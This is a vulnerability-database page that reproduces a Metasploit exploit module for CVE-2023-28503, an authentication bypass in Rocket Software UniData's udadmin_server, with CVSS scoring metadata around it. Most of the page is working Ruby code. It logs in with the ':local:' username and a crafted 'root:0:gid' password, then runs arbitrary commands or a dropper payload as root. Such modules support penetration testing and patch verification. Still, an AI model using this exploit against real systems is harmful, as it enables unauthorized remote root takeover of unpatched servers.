Lucene search

K
metasploitRon BowesMSF:EXPLOIT-LINUX-MISC-UNIDATA_UDADMIN_AUTH_BYPASS-
HistoryMar 29, 2023 - 3:01 p.m.

Rocket Software Unidata udadmin_server Authentication Bypass

2023-03-2915:01:50
Ron Bowes
www.rapid7.com
120
rocket software
unidata
udadmin_server
authentication bypass
linux
rpc service
unidata server
vulnerability
8.2.4
root access
oscommand message
exploit

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.9

Confidence

Low

EPSS

0.035

Percentile

91.8%

This module exploits an authentication bypass vulnerability in the Linux version of udadmin_server, which is an RPC service that comes with the Rocket Software UniData server. This affects versions of UniData prior to 8.2.4 build 3003. This service typically runs as root. It accepts a username of “:local:” and a password in the form of “::”, where username and uid must be a valid account, but gid can be anything except 0. This exploit takes advantage of this login account to authenticate as a chosen user and run an arbitrary command (using the built-in OsCommand message).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Unirpc
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability in the
          Linux version of udadmin_server, which is an RPC service that comes
          with the Rocket Software UniData server. This affects versions of
          UniData prior to 8.2.4 build 3003.

          This service typically runs as root. It accepts a username of
          ":local:" and a password in the form of "<username>:<uid>:<gid>",
          where username and uid must be a valid account, but gid can be
          anything except 0.

          This exploit takes advantage of this login account to authenticate
          as a chosen user and run an arbitrary command (using the built-in
          OsCommand message).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ron Bowes', # Discovery, PoC, module
        ],
        'References' => [
          [ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],
          [ 'CVE', '2023-28503' ],
        ],
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 31438,
          'PrependFork' => true
        },
        'Privileged' => true,
        'DisclosureDate' => '2023-03-30',
        'Notes' => {
          'SideEffects' => [],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        }
      )
    )

    register_options(
      [
        OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),
        OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),
        OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),
      ]
    )

    register_advanced_options(
      [
        OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),
      ]
    )
  end

  # We can detect UniRPC by performing a version check, but the version number
  # didn't increment in the patch (only the build number did, which AFAICT we
  # can't access), so just do a sanity check
  def check
    version = unirpc_get_version
    vprint_status("Detected UniRPC version #{version} is running")

    Exploit::CheckCode::Detected
  rescue UniRPCCommunicationError => e
    return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")
  rescue UniRPCUnexpectedResponseError => e
    return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")
  end

  def execute_command(cmd, _opts = {})
    vprint_status('Sending OsCommand request')
    sock.put(build_unirpc_message(args: [
      # Message type
      { type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },
      { type: :string, value: cmd },
    ]))
  end

  def exploit
    # Sanity check
    if datastore['UNIRPC_GID'] == 0
      fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')
    end

    # Connect to the service
    connect

    # Connect to the RPC service (probably "udadmin")
    vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")
    sock.put(build_unirpc_message(args: [
      # Service name
      { type: :string, value: datastore['UNIRPC_ENDPOINT'] },

      # "Secure" flag - this must be non-zero if the server is started in
      # "secure" mode (-s)
      { type: :integer, value: 1 },
    ]))

    # This will throw an error if the login fails, otherwise we can discard the
    # result
    recv_unirpc_message(sock, first_result_is_status: true)

    # Prepare the authentication bypass
    username = ':local:'
    password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"
    vprint_status("Authenticating to RPC service as #{username} / #{password}")

    # Send the authentication message
    sock.put(build_unirpc_message(args: [
      # Message type
      { type: :integer, value: UNIRPC_MESSAGE_LOGIN },

      # Username
      # ":local:" is a special value that skips login
      { type: :string, value: username },

      # Password (encoded by making each byte negative)
      # I think if username is :local:, this is username:uid:gid (gid can't be 0)
      { type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },
    ]))

    # Once again, we only care if this fails - if the status is an error
    recv_unirpc_message(sock, first_result_is_status: true)

    # Run the command(s)
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  rescue UniRPCCommunicationError => e
    fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")
  rescue UniRPCUnexpectedResponseError => e
    fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")
  end
end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.9

Confidence

Low

EPSS

0.035

Percentile

91.8%

Related for MSF:EXPLOIT-LINUX-MISC-UNIDATA_UDADMIN_AUTH_BYPASS-